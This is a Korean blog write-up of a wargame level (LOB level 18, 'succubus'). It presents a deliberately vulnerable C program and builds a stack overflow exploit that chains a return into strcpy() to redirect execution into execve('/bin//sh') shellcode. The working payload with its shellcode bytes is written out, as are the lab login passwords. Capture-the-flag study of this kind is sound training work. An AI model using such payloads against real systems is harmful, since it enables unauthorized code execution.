yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 18번 풀이 (succubus) 본문

wargame 풀이/LOB

LOB 18번 풀이 (succubus)

yehey 2021. 1. 4. 18:36
id: succubus
pw: here to stay
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}

 

  • main함수의 ret주소가 strcpy 주소와 같아야 함
  • buffer시작 주소+48~52 가 A로 초기화 됨 (main 이후에 호출된 함수의 ret)

우선 ret에 넣어줄 strcpy 함수 주소를 찾아보자 

gdb를 이용해서 main함수를 디스어셈블 해서 구할 수 있다.

 

strcpy함수의 주소는 0x08048410 이다. (call 옆에)

이제 ret에 strcpy 함수를 넣은 이후에 strcpy가 진행되는 과정을 생각해보자!

우선 스택에는 strcpy이후에 실행될 ret가 strcpy 함수 뒤에 자리할 것이고 strcpy의 인자가 strcpy의 ret이후에 있을 것이다.

strcpy함수는 첫번째 인자 값을 두번째 인자 값으로 copy 하는 함수이다.

그런데 코드에서 보면 strcpy의 ret 자리가 A로 초기화 되는 것을 알 수 있다. (dangerous waterfall)

따라서 strcpy의 ret를 strcpy를 이용해서 쉘 코드 주소로 바꾸어주면 될 것 같다.

 

 

dummy*44+strcpy+strcpy ret [AAAA] + strcpy 인자(strcpy ret 주소)[BBBB]+ strcpy 인자(strcpy ret에 덮어쓸 주소, 쉘 코드의 주소를 담고있는 값의 주소)[CCCC]+shellcode 시작 주소[DDDD]+ shellcode

 

BBBB,CCCC,DDDD로 쓰여진 곳을 올바른 주소를 찾아서 넣어줄 것이다.

우선 임시 payload를 작성해보자 임시 payload를 올바른 주소로 채운 것이 최종 payload가 될 것이다.

 

임시 payload: ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"+ "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

당연하게도 이상한 값을 넣었으니 segmentation fault가 일어난다.

core파일로 gdb를 실행시켜 스택을 보자

 

우리가 입력한 A,B,C,D가 아스키 값으로 저장되어 있다. 그리고 0xbffffa50부터는 쉘 코드가 있다.

따라서 쉘 코드의 주소를 값으로 갖는 DDDD에는 0xbffffa50을 넣어주면 될 것 같다.

 

D 대신 쉘 코드 주소를 넣어주고 다시 실행시켜도 segmentation fault는 일어났다.

한번 더 스택을 확인해보자

 

이전에 D가 저장되었던 자리에는 쉘 코드 주소가 정상적으로 등록되어 있다.

이제 C를 채워보자, C에는 복사할 값의 주소가 들어가야 한다.

따라서 C에는 쉘 코드 주소 값을 가진 D의 주소가 들어가야 한다.

C에는 D의 주소인 0xbffffa4c가 들어간다.

 

마지막으로 B를 채워주면 될 것 같다.

B에는 값이 복사되어야 하는 주소가 들어가야한다.

우리는 strcpy의 ret에 쉘 코드 주소 값을 복사해주어야 하기 때문에 B에는 strcpy의 ret인 A의 주소가 들어가야한다.

 

스택에서 0x41414141이 2개 보이지만 ret는 B바로 앞에 있는 A이다. 

따라서 B 자리에 A의 주소인 0xbffffa40이 들어가야 한다.

A값은 변화를 주지 않아도 된다 어차피 dangerous waterfall에서 무조건 A로 변하기 때문에 특정 값을 넣어줄 필요도 없다.

 

따라서 최종 payload는 다음과 같다.

payload: ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"AAAA"+"\x40\xfa\xff\xbf"+ "\x4c\xfa\xff\xbf"+"\x50\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

nightmare의 pw: "beg for me"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 19번 풀이 (nightmare)  (0) 2021.01.04
LOB 17번 풀이 (zombie_assassin)  (0) 2021.01.03
LOB 16번 풀이 (assassin)  (0) 2021.01.02
LOB 15번 풀이 (giant)  (0) 2021.01.01
LOB 14번 풀이 (bugbear)  (0) 2020.12.31
Comments